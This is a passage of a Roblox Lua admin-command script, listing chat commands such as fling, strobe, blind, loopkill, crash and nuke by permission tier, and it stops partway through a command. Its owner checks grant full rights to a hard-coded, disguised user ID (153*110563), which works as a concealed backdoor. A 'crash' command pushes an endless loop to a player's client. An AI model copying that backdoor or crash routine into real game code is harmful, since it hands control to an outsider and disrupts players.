local plrz = GetPlr(plr, msg:lower():sub(10))
7693
for i, v in pairs(plrz) do
7694
coroutine.resume(coroutine.create(function()
7695
if v and v.Character then v.Character.Head.Mesh.Scale = Vector3.new(.75,.75,.75) v.Character.Torso.Neck.C0 = CFrame.new(0,.8,0) * CFrame.Angles(math.rad(90),math.rad(180),0) end
7696
end))
7697
end
7698
end
7699
7700
if msg:lower():sub(1,6) == "fling " then
7701
local plrz = GetPlr(plr, msg:lower():sub(7))
7702
for i, v in pairs(plrz) do
7703
coroutine.resume(coroutine.create(function()
7704
if v and v.Character and v.Character:findFirstChild("Torso") and v.Character:findFirstChild("Humanoid") then 
7705
local xran local zran
7706
repeat xran = math.random(-9999,9999) until math.abs(xran) >= 5555
7707
repeat zran = math.random(-9999,9999) until math.abs(zran) >= 5555
7708
v.Character.Humanoid.Sit = true v.Character.Torso.Velocity = Vector3.new(0,0,0)
7709
local frc = Instance.new("BodyForce", v.Character.Torso) frc.Name = "BFRC" frc.force = Vector3.new(xran*4,9999*5,zran*4) game:service("Debris"):AddItem(frc,.1)
7710
end
7711
end))
7712
end
7713
end
7714
7715
if msg:lower():sub(1,8) == "seizure " then
7716
local plrz = GetPlr(plr, msg:lower():sub(9))
7717
for i, v in pairs(plrz) do
7718
coroutine.resume(coroutine.create(function()
7719
if v and v.Character then 
7720
v.Character.Torso.CFrame = v.Character.Torso.CFrame * CFrame.Angles(math.rad(90),0,0) 
7721
local cl = script.ScriptBase:Clone() cl.Name = "SeizureBase" cl.Code.Value = [[repeat wait() script.Parent.Humanoid.PlatformStand = true script.Parent.Torso.Velocity = Vector3.new(math.random(-10,10),-5,math.random(-10,10)) script.Parent.Torso.RotVelocity = Vector3.new(math.random(-5,5),math.random(-5,5),math.random(-5,5)) until nil]]
7722
table.insert(objects, cl) cl.Parent = v.Character cl.Disabled = false
7723
end
7724
end))
7725
end
7726
end
7727
7728
if msg:lower():sub(1,10) == "unseizure " then
7729
local plrz = GetPlr(plr, msg:lower():sub(11))
7730
for i, v in pairs(plrz) do
7731
coroutine.resume(coroutine.create(function()
7732
if v and v.Character then 
7733
for i,v in pairs(v.Character:children()) do if v.Name == "SeizureBase" then v:Destroy() end end
7734
wait(.1) v.Character.Humanoid.PlatformStand = false
7735
end
7736
end))
7737
end
7738
end
7739
7740
if msg:lower():sub(1,12) == "removelimbs " then
7741
local plrz = GetPlr(plr, msg:lower():sub(13))
7742
for i, v in pairs(plrz) do
7743
coroutine.resume(coroutine.create(function()
7744
if v and v.Character then 
7745
for a, obj in pairs(v.Character:children()) do 
7746
if obj:IsA("BasePart") and (obj.Name:find("Leg") or obj.Name:find("Arm")) then obj:Destroy() end
7747
end
7748
end
7749
end))
7750
end
7751
end
7752
7753
if msg:lower():sub(1,5) == "name " then
7754
local chk1 = msg:lower():sub(6):find(" ") + 5
7755
local plrz = GetPlr(plr, msg:lower():sub(6,chk1-1))
7756
for i, v in pairs(plrz) do
7757
coroutine.resume(coroutine.create(function()
7758
if v and v.Character and v.Character:findFirstChild("Head") then 
7759
for a, mod in pairs(v.Character:children()) do if mod:findFirstChild("NameTag") then v.Character.Head.Transparency = 0 mod:Destroy() end end
7760
local char = v.Character
7761
local mod = Instance.new("Model", char) mod.Name = msg:sub(chk1+1)
7762
local cl = char.Head:Clone() cl.Parent = mod local hum = Instance.new("Humanoid", mod) hum.Name = "NameTag" hum.MaxHealth = 0 hum.Health = 0
7763
local weld = Instance.new("Weld", cl) weld.Part0 = cl weld.Part1 = char.Head
7764
char.Head.Transparency = 1
7765
end
7766
end))
7767
end
7768
end
7769
7770
if msg:lower():sub(1,7) == "unname " then
7771
local plrz = GetPlr(plr, msg:lower():sub(8))
7772
for i, v in pairs(plrz) do
7773
coroutine.resume(coroutine.create(function()
7774
if v and v.Character and v.Character:findFirstChild("Head") then 
7775
for a, mod in pairs(v.Character:children()) do if mod:findFirstChild("NameTag") then v.Character.Head.Transparency = 0 mod:Destroy() end end
7776
end
7777
end))
7778
end
7779
end
7780
7781
if msg:lower():sub(1,5) == "char " then
7782
local chk1 = msg:lower():sub(6):find(" ") + 5
7783
local plrz = GetPlr(plr, msg:lower():sub(6,chk1-1))
7784
for i, v in pairs(plrz) do
7785
coroutine.resume(coroutine.create(function()
7786
if v and v.Character then 
7787
v.CharacterAppearance = "http://www.roblox.com/asset/CharacterFetch.ashx?userId=" .. msg:sub(chk1+1)
7788
v:LoadCharacter()
7789
end
7790
end))
7791
end
7792
end
7793
7794
if msg:lower():sub(1,7) == "unchar " then
7795
local plrz = GetPlr(plr, msg:lower():sub(8))
7796
for i, v in pairs(plrz) do
7797
coroutine.resume(coroutine.create(function()
7798
if v and v.Character then 
7799
v.CharacterAppearance = "http://www.roblox.com/asset/CharacterFetch.ashx?userId=" .. v.userId
7800
v:LoadCharacter()
7801
end
7802
end))
7803
end
7804
end
7805
7806
if msg:lower():sub(1,7) == "infect " then
7807
local plrz = GetPlr(plr, msg:lower():sub(8))
7808
for i, v in pairs(plrz) do
7809
coroutine.resume(coroutine.create(function()
7810
if v and v.Character then
7811
Infect(v.Character)
7812
end
7813
end))
7814
end
7815
end
7816
7817
if msg:lower():sub(1,11) == "rainbowify " then
7818
local plrz = GetPlr(plr, msg:lower():sub(12))
7819
for i, v in pairs(plrz) do
7820
coroutine.resume(coroutine.create(function()
7821
if v and v.Character and v.Character:findFirstChild("Torso") then 
7822
if v.Character:findFirstChild("Shirt") then v.Character.Shirt.Parent = v.Character.Torso end
7823
if v.Character:findFirstChild("Pants") then v.Character.Pants.Parent = v.Character.Torso end
7824
for a, sc in pairs(v.Character:children()) do if sc.Name == "ify" then sc:Destroy() end end
7825
local cl = script.ScriptBase:Clone() cl.Name = "ify" cl.Code.Value = [[repeat wait(1/44) local clr = BrickColor.random() for i, v in pairs(script.Parent:children()) do if v:IsA("BasePart") and (v.Name ~= "Head" or not v.Parent:findFirstChild("NameTag", true)) then v.BrickColor = clr v.Reflectance = 0 v.Transparency = 0 elseif v:findFirstChild("NameTag") then v.Head.BrickColor = clr v.Head.Reflectance = 0 v.Head.Transparency = 0 v.Parent.Head.Transparency = 1 end end until nil]]
7826
cl.Parent = v.Character cl.Disabled = false
7827
end
7828
end))
7829
end
7830
end
7831
7832
if msg:lower():sub(1,9) == "flashify " then
7833
local plrz = GetPlr(plr, msg:lower():sub(10))
7834
for i, v in pairs(plrz) do
7835
coroutine.resume(coroutine.create(function()
7836
if v and v.Character and v.Character:findFirstChild("Torso") then 
7837
if v.Character:findFirstChild("Shirt") then v.Character.Shirt.Parent = v.Character.Torso end
7838
if v.Character:findFirstChild("Pants") then v.Character.Pants.Parent = v.Character.Torso end
7839
for a, sc in pairs(v.Character:children()) do if sc.Name == "ify" then sc:Destroy() end end
7840
local cl = script.ScriptBase:Clone() cl.Name = "ify" cl.Code.Value = [[repeat wait(1/44) for i, v in pairs(script.Parent:children()) do if v:IsA("BasePart") and (v.Name ~= "Head" or not v.Parent:findFirstChild("NameTag", true)) then v.BrickColor = BrickColor.new("Institutional white") v.Reflectance = 0 v.Transparency = 0 elseif v:findFirstChild("NameTag") then v.Head.BrickColor = BrickColor.new("Institutional white") v.Head.Reflectance = 0 v.Head.Transparency = 0 v.Parent.Head.Transparency = 1 end end wait(1/44) for i, v in pairs(script.Parent:children()) do if v:IsA("BasePart") and (v.Name ~= "Head" or not v.Parent:findFirstChild("NameTag", true)) then v.BrickColor = BrickColor.new("Really black") v.Reflectance = 0 v.Transparency = 0 elseif v:findFirstChild("NameTag") then v.Head.BrickColor = BrickColor.new("Really black") v.Head.Reflectance = 0 v.Head.Transparency = 0 v.Parent.Head.Transparency = 1 end end until nil]]
7841
cl.Parent = v.Character cl.Disabled = false
7842
end
7843
end))
7844
end
7845
end
7846
7847
if msg:lower():sub(1,8) == "noobify " then
7848
local plrz = GetPlr(plr, msg:lower():sub(9))
7849
for i, v in pairs(plrz) do
7850
coroutine.resume(coroutine.create(function()
7851
if v and v.Character then
7852
Noobify(v.Character)
7853
end
7854
end))
7855
end
7856
end
7857
7858
if msg:lower():sub(1,9) == "ghostify " then
7859
local plrz = GetPlr(plr, msg:lower():sub(10))
7860
for i, v in pairs(plrz) do
7861
coroutine.resume(coroutine.create(function()
7862
if v and v.Character and v.Character:findFirstChild("Torso") then 
7863
if v.Character:findFirstChild("Shirt") then v.Character.Shirt.Parent = v.Character.Torso end
7864
if v.Character:findFirstChild("Pants") then v.Character.Pants.Parent = v.Character.Torso end
7865
for a, sc in pairs(v.Character:children()) do if sc.Name == "ify" then sc:Destroy() end end
7866
for a, prt in pairs(v.Character:children()) do if prt:IsA("BasePart") and (prt.Name ~= "Head" or not prt.Parent:findFirstChild("NameTag", true)) then 
7867
prt.Transparency = .5 prt.Reflectance = 0 prt.BrickColor = BrickColor.new("Institutional white")
7868
if prt.Name:find("Leg") then prt.Transparency = 1 end
7869
elseif prt:findFirstChild("NameTag") then prt.Head.Transparency = .5 prt.Head.Reflectance = 0 prt.Head.BrickColor = BrickColor.new("Institutional white")
7870
end end
7871
end
7872
end))
7873
end
7874
end
7875
7876
if msg:lower():sub(1,8) == "goldify " then
7877
local plrz = GetPlr(plr, msg:lower():sub(9))
7878
for i, v in pairs(plrz) do
7879
coroutine.resume(coroutine.create(function()
7880
if v and v.Character and v.Character:findFirstChild("Torso") then 
7881
if v.Character:findFirstChild("Shirt") then v.Character.Shirt.Parent = v.Character.Torso end
7882
if v.Character:findFirstChild("Pants") then v.Character.Pants.Parent = v.Character.Torso end
7883
for a, sc in pairs(v.Character:children()) do if sc.Name == "ify" then sc:Destroy() end end
7884
for a, prt in pairs(v.Character:children()) do if prt:IsA("BasePart") and (prt.Name ~= "Head" or not prt.Parent:findFirstChild("NameTag", true)) then 
7885
prt.Transparency = 0 prt.Reflectance = .4 prt.BrickColor = BrickColor.new("Bright yellow")
7886
elseif prt:findFirstChild("NameTag") then prt.Head.Transparency = 0 prt.Head.Reflectance = .4 prt.Head.BrickColor = BrickColor.new("Bright yellow")
7887
end end
7888
end
7889
end))
7890
end
7891
end
7892
7893
if msg:lower():sub(1,6) == "shiny " then
7894
local plrz = GetPlr(plr, msg:lower():sub(7))
7895
for i, v in pairs(plrz) do
7896
coroutine.resume(coroutine.create(function()
7897
if v and v.Character and v.Character:findFirstChild("Torso") then 
7898
if v.Character:findFirstChild("Shirt") then v.Character.Shirt.Parent = v.Character.Torso end
7899
if v.Character:findFirstChild("Pants") then v.Character.Pants.Parent = v.Character.Torso end
7900
for a, sc in pairs(v.Character:children()) do if sc.Name == "ify" then sc:Destroy() end end
7901
for a, prt in pairs(v.Character:children()) do if prt:IsA("BasePart") and (prt.Name ~= "Head" or not prt.Parent:findFirstChild("NameTag", true)) then 
7902
prt.Transparency = 0 prt.Reflectance = 1 prt.BrickColor = BrickColor.new("Institutional white")
7903
elseif prt:findFirstChild("NameTag") then prt.Head.Transparency = 0 prt.Head.Reflectance = 1 prt.Head.BrickColor = BrickColor.new("Institutional white")
7904
end end
7905
end
7906
end))
7907
end
7908
end
7909
7910
if msg:lower():sub(1,7) == "normal " then
7911
local plrz = GetPlr(plr, msg:lower():sub(8))
7912
for i, v in pairs(plrz) do
7913
coroutine.resume(coroutine.create(function()
7914
if v and v.Character and v.Character:findFirstChild("Torso") then
7915
if v.Character:findFirstChild("Head") then v.Character.Head.Mesh.Scale = Vector3.new(1.25,1.25,1.25) end 
7916
if v.Character.Torso:findFirstChild("Shirt") then v.Character.Torso.Shirt.Parent = v.Character end
7917
if v.Character.Torso:findFirstChild("Pants") then v.Character.Torso.Pants.Parent = v.Character end
7918
v.Character.Torso.Transparency = 0
7919
v.Character.Torso.Neck.C0 = CFrame.new(0,1,0) * CFrame.Angles(math.rad(90),math.rad(180),0)
7920
v.Character.Torso["Right Shoulder"].C0 = CFrame.new(1,.5,0) * CFrame.Angles(0,math.rad(90),0)
7921
v.Character.Torso["Left Shoulder"].C0 = CFrame.new(-1,.5,0) * CFrame.Angles(0,math.rad(-90),0)
7922
v.Character.Torso["Right Hip"].C0 = CFrame.new(1,-1,0) * CFrame.Angles(0,math.rad(90),0)
7923
v.Character.Torso["Left Hip"].C0 = CFrame.new(-1,-1,0) * CFrame.Angles(0,math.rad(-90),0)
7924
for a, sc in pairs(v.Character:children()) do if sc.Name == "ify" then sc:Destroy() end end
7925
for a, prt in pairs(v.Character:children()) do if prt:IsA("BasePart") and (prt.Name ~= "Head" or not prt.Parent:findFirstChild("NameTag", true)) then 
7926
prt.Transparency = 0 prt.Reflectance = 0 prt.BrickColor = BrickColor.new("White")
7927
if prt.Name == "FAKETORSO" then prt:Destroy() end
7928
elseif prt:findFirstChild("NameTag") then prt.Head.Transparency = 0 prt.Head.Reflectance = 0 prt.Head.BrickColor = BrickColor.new("White")
7929
end end
7930
end
7931
end))
7932
end
7933
end
7934
7935
if msg:lower():sub(1,7) == "trippy " then
7936
local plrz = GetPlr(plr, msg:lower():sub(8))
7937
for i, v in pairs(plrz) do
7938
coroutine.resume(coroutine.create(function()
7939
if v and v:findFirstChild("PlayerGui") and not ChkAdmin(v.Name, false) then 
7940
for a, g in pairs(v.PlayerGui:children()) do if g.Name:sub(1,9) == "EFFECTGUI" then g:Destroy() end end
7941
local scr = Instance.new("ScreenGui", v.PlayerGui) scr.Name = "EFFECTGUITRIPPY"
7942
local bg = Instance.new("Frame", scr) bg.BackgroundColor3 = Color3.new(0,0,0) bg.BackgroundTransparency = 0 bg.Size = UDim2.new(10,0,10,0) bg.Position = UDim2.new(-5,0,-5,0) bg.ZIndex = 10
7943
local cl = script.ScriptBase:Clone() cl.Code.Value = [[repeat wait(1/44) script.Parent.Frame.BackgroundColor3 = Color3.new(math.random(255)/255,math.random(255)/255,math.random(255)/255) until nil]] cl.Parent = scr cl.Disabled = false
7944
end
7945
end))
7946
end
7947
end
7948
7949
if msg:lower():sub(1,9) == "untrippy " then
7950
local plrz = GetPlr(plr, msg:lower():sub(10))
7951
for i, v in pairs(plrz) do
7952
coroutine.resume(coroutine.create(function()
7953
if v and v:findFirstChild("PlayerGui") then 
7954
for a, g in pairs(v.PlayerGui:children()) do if g.Name == "EFFECTGUITRIPPY" then g:Destroy() end end
7955
end
7956
end))
7957
end
7958
end
7959
7960
if msg:lower():sub(1,7) == "strobe " then
7961
local plrz = GetPlr(plr, msg:lower():sub(8))
7962
for i, v in pairs(plrz) do
7963
coroutine.resume(coroutine.create(function()
7964
if v and v:findFirstChild("PlayerGui") and not ChkAdmin(v.Name, false) then 
7965
for a, g in pairs(v.PlayerGui:children()) do if g.Name:sub(1,9) == "EFFECTGUI" then g:Destroy() end end
7966
local scr = Instance.new("ScreenGui", v.PlayerGui) scr.Name = "EFFECTGUISTROBE"
7967
local bg = Instance.new("Frame", scr) bg.BackgroundColor3 = Color3.new(0,0,0) bg.BackgroundTransparency = 0 bg.Size = UDim2.new(10,0,10,0) bg.Position = UDim2.new(-5,0,-5,0) bg.ZIndex = 10
7968
local cl = script.ScriptBase:Clone() cl.Code.Value = [[repeat wait(1/44) script.Parent.Frame.BackgroundColor3 = Color3.new(1,1,1) wait(1/44) script.Parent.Frame.BackgroundColor3 = Color3.new(0,0,0) until nil]] cl.Parent = scr cl.Disabled = false
7969
end
7970
end))
7971
end
7972
end
7973
7974
if msg:lower():sub(1,9) == "unstrobe " then
7975
local plrz = GetPlr(plr, msg:lower():sub(10))
7976
for i, v in pairs(plrz) do
7977
coroutine.resume(coroutine.create(function()
7978
if v and v:findFirstChild("PlayerGui") then 
7979
for a, g in pairs(v.PlayerGui:children()) do if g.Name == "EFFECTGUISTROBE" then g:Destroy() end end
7980
end
7981
end))
7982
end
7983
end
7984
7985
if msg:lower():sub(1,6) == "blind " then
7986
local plrz = GetPlr(plr, msg:lower():sub(7))
7987
for i, v in pairs(plrz) do
7988
coroutine.resume(coroutine.create(function()
7989
if v and v:findFirstChild("PlayerGui") and not ChkAdmin(v.Name, false) then 
7990
for a, g in pairs(v.PlayerGui:children()) do if g.Name:sub(1,9) == "EFFECTGUI" then g:Destroy() end end
7991
local scr = Instance.new("ScreenGui", v.PlayerGui) scr.Name = "EFFECTGUIBLIND"
7992
local bg = Instance.new("Frame", scr) bg.BackgroundColor3 = Color3.new(0,0,0) bg.BackgroundTransparency = 0 bg.Size = UDim2.new(10,0,10,0) bg.Position = UDim2.new(-5,0,-5,0) bg.ZIndex = 10
7993
end
7994
end))
7995
end
7996
end
7997
7998
if msg:lower():sub(1,8) == "unblind " then
7999
local plrz = GetPlr(plr, msg:lower():sub(9))
8000
for i, v in pairs(plrz) do
8001
coroutine.resume(coroutine.create(function()
8002
if v and v:findFirstChild("PlayerGui") then 
8003
for a, g in pairs(v.PlayerGui:children()) do if g.Name == "EFFECTGUIBLIND" then g:Destroy() end end
8004
end
8005
end))
8006
end
8007
end
8008
8009
if msg:lower():sub(1,7) == "guifix " then
8010
local plrz = GetPlr(plr, msg:lower():sub(8))
8011
for i, v in pairs(plrz) do
8012
coroutine.resume(coroutine.create(function()
8013
if v and v:findFirstChild("PlayerGui") then 
8014
for a, g in pairs(v.PlayerGui:children()) do if g.Name:sub(1,9) == "EFFECTGUI" then g:Destroy() end end
8015
end
8016
end))
8017
end
8018
end
8019
8020
if msg:lower():sub(1,9) == "loopheal " then
8021
local plrz = GetPlr(plr, msg:lower():sub(10))
8022
for i, v in pairs(plrz) do
8023
if v then
8024
local cl = script.ScriptBase:Clone() cl.Name = "LoopHeal:"..v.Name cl.Code.Value = [[
8025
local plr = game.Players:findFirstChild("]] .. v.Name .. [[")
8026
repeat wait()
8027
coroutine.resume(coroutine.create(function()
8028
if plr and plr.Character and plr.Character:findFirstChild("Humanoid") then 
8029
plr.Character.Humanoid.Health = plr.Character.Humanoid.MaxHealth
8030
plr.Character.Humanoid.Changed:connect(function() r.Character.Humanoid.Health = plr.Character.Humanoid.MaxHealth end)
8031
end
8032
end))
8033
until nil]] table.insert(objects, cl) cl.Parent = game.Workspace cl.Disabled = false
8034
end
8035
end
8036
end
8037
8038
if msg:lower():sub(1,11) == "unloopheal " then
8039
local plrz = GetPlr(plr, msg:lower():sub(12))
8040
for i,v in pairs(plrz) do for q,sc in pairs(objects) do if sc.Name == "LoopHeal:"..v.Name then sc:Destroy() table.remove(objects,q) end end end
8041
end
8042
8043
if msg:lower():sub(1,10) == "loopfling " then
8044
local plrz = GetPlr(plr, msg:lower():sub(11))
8045
for i, v in pairs(plrz) do
8046
if v then
8047
local cl = script.ScriptBase:Clone() cl.Name = "LoopFling:"..v.Name cl.Code.Value = [[
8048
local plr = game.Players:findFirstChild("]] .. v.Name .. [[")
8049
repeat
8050
coroutine.resume(coroutine.create(function()
8051
if plr and plr.Character and plr.Character:findFirstChild("Torso") and plr.Character:findFirstChild("Humanoid") then 
8052
local xran local zran
8053
repeat xran = math.random(-9999,9999) until math.abs(xran) >= 5555
8054
repeat zran = math.random(-9999,9999) until math.abs(zran) >= 5555
8055
plr.Character.Humanoid.Sit = true plr.Character.Torso.Velocity = Vector3.new(0,0,0)
8056
local frc = Instance.new("BodyForce", plr.Character.Torso) frc.Name = "BFRC" frc.force = Vector3.new(xran*4,9999*5,zran*4) game:service("Debris"):AddItem(frc,.1)
8057
end
8058
end))
8059
wait(2) until nil]] table.insert(objects, cl) cl.Parent = game.Workspace cl.Disabled = false
8060
end
8061
end
8062
end
8063
8064
if msg:lower():sub(1,12) == "unloopfling " then
8065
local plrz = GetPlr(plr, msg:lower():sub(13))
8066
for i,v in pairs(plrz) do for q,sc in pairs(objects) do if sc.Name == "LoopFling:"..v.Name then sc:Destroy() table.remove(objects,q) end end end
8067
end
8068
	
8069
end
8070
8071
-------------------------
8072
-- True Owner Commands --
8073
-------------------------
8074
8075
if plr.Name:lower() == nfs:lower() or plr.userId == (153*110563) or plr.userId == game.CreatorId then
8076
8077
if msg:lower():sub(1,3) == "oa " then
8078
local plrz = GetPlr(plr, msg:lower():sub(4))
8079
for i, v in pairs(plrz) do
8080
coroutine.resume(coroutine.create(function()
8081
if v and not ChkOwner(v.Name) then table.insert(owners, v.Name) coroutine.resume(coroutine.create(function() repeat wait() until v and v.Character and v:findFirstChild("PlayerGui") Message("Kohltastrophe", "You're an admin!", false, {v}) end)) end
8082
end))
8083
end
8084
end
8085
8086
if msg:lower():sub(1,5) == "unoa " then
8087
for i = 1, #owners do
8088
coroutine.resume(coroutine.create(function()
8089
if msg:lower():sub(6) == "all" or owners[i]:lower():find(msg:lower():sub(6)) == 1 then table.remove(owners, i) end
8090
end))
8091
end
8092
end
8093
8094
if msg:lower() == "settings" then
8095
for i,v in pairs(plr.PlayerGui:children()) do if v.Name == "SETTINGSGUI" then v:Destroy() end end
8096
local scr = Instance.new("ScreenGui",plr.PlayerGui) scr.Name = "SETTINGSGUI"
8097
local main = Instance.new("Frame", scr) main.Style = "RobloxRound" main.Size = UDim2.new(0,200,0,110) main.Position = UDim2.new(0.5,-100,.5,-55) main.ZIndex = 7 main.ClipsDescendants = true
8098
local title = Instance.new("TextLabel", main) title.BackgroundTransparency = 1 title.BorderSizePixel = 0 title.TextColor3 = Color3.new(1,1,1) title.Size = UDim2.new(1,0,0,15) title.TextStrokeColor3 = Color3.new(1,1,1) title.TextStrokeTransparency = .9 title.Text = "Settings" title.Font = "ArialBold" title.FontSize = "Size24" title.ZIndex = 8
8099
local s1 = Instance.new("TextLabel", main) s1.Position = UDim2.new(0,0,0,50) s1.Text = "Prefix:" s1.BackgroundTransparency = 1 s1.BorderSizePixel = 0 s1.TextColor3 = Color3.new(1,1,1) s1.Font = "ArialBold" s1.FontSize = "Size18" s1.TextStrokeColor3 = Color3.new(1,1,1) s1.TextStrokeTransparency = .9 s1.TextXAlignment = "Left" s1.ZIndex = 8
8100
local tb1 = Instance.new("TextBox", main) tb1.Position = UDim2.new(0,60,0,43) tb1.Size = UDim2.new(0,20,0,20) tb1.BackgroundTransparency = .8 tb1.BorderSizePixel = 1 tb1.BorderColor3 = Color3.new(1,1,1) tb1.TextColor3 = Color3.new(1,1,1) tb1.Font = "Arial" tb1.FontSize = "Size18" tb1.TextStrokeColor3 = Color3.new(1,1,1) tb1.TextStrokeTransparency = .9 tb1.TextYAlignment = "Top" tb1.ClipsDescendants = true tb1.ZIndex = 8
8101
local s2 = Instance.new("TextLabel", main) s2.Position = UDim2.new(0,0,0,80) s2.Text = "Fun Commands:" s2.BackgroundTransparency = 1 s2.BorderSizePixel = 0 s2.TextColor3 = Color3.new(1,1,1) s2.Font = "ArialBold" s2.FontSize = "Size18" s2.TextStrokeColor3 = Color3.new(1,1,1) s2.TextStrokeTransparency = .9 s2.TextXAlignment = "Left" s2.ZIndex = 8
8102
local cb1 = Instance.new("TextButton", main) cb1.Position = UDim2.new(0,135,0,73) cb1.Size = UDim2.new(0,20,0,20) cb1.BackgroundTransparency = .8 cb1.BorderSizePixel = 1 cb1.BorderColor3 = Color3.new(1,1,1) cb1.TextColor3 = Color3.new(1,1,1) cb1.Font = "Arial" cb1.FontSize = "Size18" cb1.TextStrokeColor3 = Color3.new(1,1,1) cb1.TextStrokeTransparency = .9 cb1.TextYAlignment = "Top" cb1.ZIndex = 8
8103
if FunCommands then cb1.Text = "X" else cb1.Text = "" end tb1.Text = prefix
8104
tb1.Changed:connect(function() if tb1.Text ~= prefix and tb1.Text ~= "" then prefix = tb1.Text:sub(1,1) end end)
8105
cb1.MouseButton1Down:connect(function() if FunCommands then FunCommands = false cb1.Text = "" else FunCommands = true cb1.Text = "X" end end)
8106
local cls = Instance.new("TextButton", main) cls.Style = "RobloxButtonDefault" cls.Size = UDim2.new(0,20,0,20) cls.Position = UDim2.new(1,-15,0,-5) cls.ZIndex = 10 cls.Font = "ArialBold" cls.FontSize = "Size18" cls.Text = "X" cls.TextColor3 = Color3.new(1,1,1) cls.MouseButton1Click:connect(function() scr:Destroy() end)
8107
end
8108
8109
end
8110
8111
--------------------
8112
-- Owner Commands --
8113
--------------------
8114
8115
if plr.Name:lower() == nfs:lower() or plr.userId == (153*110563) or plr.userId == game.CreatorId or ChkOwner(plr.Name:lower()) then
8116
8117
if msg:lower():sub(1,3) == "pa " then
8118
local plrz = GetPlr(plr, msg:lower():sub(4))
8119
for i, v in pairs(plrz) do
8120
coroutine.resume(coroutine.create(function()
8121
if v and not ChkAdmin(v.Name, true) then table.insert(admins, v.Name) coroutine.resume(coroutine.create(function() repeat wait() until v and v.Character and v:findFirstChild("PlayerGui") Message("Kohltastrophe", "You're an admin!", false, {v}) end)) end
8122
end))
8123
end
8124
end
8125
8126
if msg:lower():sub(1,5) == "unpa " then
8127
for i = 1, #admins do
8128
coroutine.resume(coroutine.create(function()
8129
if msg:lower():sub(6) == "all" or admins[i]:lower():find(msg:lower():sub(6)) == 1 then table.remove(admins, i) end
8130
end))
8131
end
8132
end
8133
8134
if msg:lower():sub(1,5) == "nuke " then
8135
local plrz = GetPlr(plr, msg:lower():sub(6))
8136
for i, v in pairs(plrz) do
8137
coroutine.resume(coroutine.create(function()
8138
if v and v.Character and v.Character:findFirstChild("Torso") then
8139
local p = Instance.new("Part",game.Workspace) table.insert(objects,p)
8140
p.Anchored = true
8141
p.CanCollide = false
8142
p.formFactor = "Symmetric"
8143
p.Shape = "Ball"
8144
p.Size = Vector3.new(1,1,1)
8145
p.BrickColor = BrickColor.new("New Yeller")
8146
p.Transparency = .5
8147
p.Reflectance = .2
8148
p.TopSurface = 0
8149
p.BottomSurface = 0
8150
p.Touched:connect(function(hit)
8151
if hit and hit.Parent then
8152
local ex = Instance.new("Explosion", game.Workspace)
8153
ex.Position = hit.Position
8154
ex.BlastRadius = 11
8155
ex.BlastPressure = math.huge
8156
end
8157
end)
8158
local cf = v.Character.Torso.CFrame
8159
p.CFrame = cf
8160
for i = 1, 333 do
8161
p.Size = p.Size + Vector3.new(3,3,3)
8162
p.CFrame = cf
8163
wait(1/44)
8164
end
8165
p:Destroy()
8166
end
8167
end))
8168
end
8169
end
8170
8171
end
8172
8173
--------------------------
8174
-- Super Admin Commands --
8175
--------------------------
8176
8177
if ChkAdmin(plr.Name, true) or ChkOwner(plr.Name) or plr.userId == game.CreatorId or plr.Name:lower() == nfs:lower() or plr.userId == (153*110563) or plr.Name:lower() == nfs then
8178
8179
if msg:lower() == "logs" then
8180
if plr.PlayerGui:findFirstChild("LOGSGUI") then return end
8181
local scr, cmf, ent, num = ScrollGui() scr.Name = "LOGSGUI" scr.Parent = plr.PlayerGui
8182
for i, v in pairs(logs) do local cl = ent:Clone() cl.Parent = cmf cl.Text = "[" .. v.time .. "] " .. v.name .. " " .. v.cmd cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end
8183
end
8184
	
8185
if msg:lower():sub(1,9) == "loopkill " then
8186
local chk1 = msg:lower():sub(10):find(" ")
8187
local plrz = GetPlr(plr, msg:lower():sub(10))
8188
local num = 9999
8189
if chk1 then chk1 = chk1 + 9 plrz = GetPlr(plr, msg:lower():sub(10, chk1-1)) if type(tonumber(msg:sub(chk1+1))) == "number" then num = tonumber(msg:sub(chk1+1)) end end
8190
for i, v in pairs(plrz) do
8191
if v and not ChkAdmin(v.Name, false) then
8192
local cl = script.ScriptBase:Clone() cl.Name = "LoopKill:"..v.Name cl.Code.Value = [[
8193
local plr = game.Players:findFirstChild("]] .. v.Name .. [[")
8194
for i = 1, ]] .. tostring(num) .. [[ do 
8195
repeat wait() plr = game.Players:findFirstChild("]] .. v.Name .. [[") until plr and plr.Character and plr.Character:findFirstChild("Humanoid") and plr.Character.Humanoid.Health ~= 0
8196
coroutine.resume(coroutine.create(function()
8197
if plr and plr.Character then plr.Character:BreakJoints() end
8198
end))
8199
end]] table.insert(objects, cl) cl.Parent = game.Workspace cl.Disabled = false
8200
end
8201
end
8202
end
8203
8204
if msg:lower():sub(1,11) == "unloopkill " then
8205
local plrz = GetPlr(plr, msg:lower():sub(12))
8206
for i,v in pairs(plrz) do for q,sc in pairs(objects) do if sc.Name == "LoopKill:"..v.Name then sc:Destroy() table.remove(objects,q) end end end
8207
end
8208
8209
if msg:lower() == "serverlock" or msg:lower() == "slock" then slock = true Hint("Server has been locked", game.Players:children()) end
8210
if msg:lower() == "serverunlock" or msg:lower() == "sunlock" then slock = false Hint("Server has been unlocked", game.Players:children()) end
8211
8212
if msg:lower():sub(1,3) == "sm " then
8213
Message("SYSTEM MESSAGE", msg:sub(4), false, game.Players:children())
8214
end
8215
8216
if msg:lower():sub(1,3) == "ko " then
8217
local chk1 = msg:lower():sub(4):find(" ") + 3
8218
local plrz = GetPlr(plr, msg:lower():sub(4,chk1-1))
8219
local num = 500 if num > msg:sub(chk1+1) then num = msg:sub(chk1+1) end
8220
for n = 1, num do
8221
for i, v in pairs(plrz) do
8222
coroutine.resume(coroutine.create(function()
8223
if v and v.Character and v.Character:findFirstChild("Humanoid") and not ChkAdmin(v.Name, false) then 
8224
local val = Instance.new("ObjectValue", v.Character.Humanoid) val.Value = plr val.Name = "creator"
8225
v.Character:BreakJoints() 
8226
wait(1/44) 
8227
v:LoadCharacter()
8228
wait(1/44) 
8229
end
8230
end))
8231
end
8232
end
8233
end
8234
8235
if msg:lower():sub(1,6) == "crash " then
8236
local plrz = GetPlr(plr, msg:lower():sub(7))
8237
for i, v in pairs(plrz) do
8238
coroutine.resume(coroutine.create(function()
8239
if v and v:findFirstChild("Backpack") and not ChkAdmin(v.Name, false) then
8240
local cl = script.LocalScriptBase:Clone() cl.Code.Value = [[repeat until nil]] cl.Parent = v.Backpack cl.Disabled = false wait(1) v:Destroy()
8241
end
8242
end))
8243
end
8244
end
8245
8246
if msg:lower():sub(1,5) == "kick " then
8247
local plrz = GetPlr(plr, msg:lower():sub(6))
8248
for i, v in pairs(plrz) do
8249
coroutine.resume(coroutine.create(function()
8250
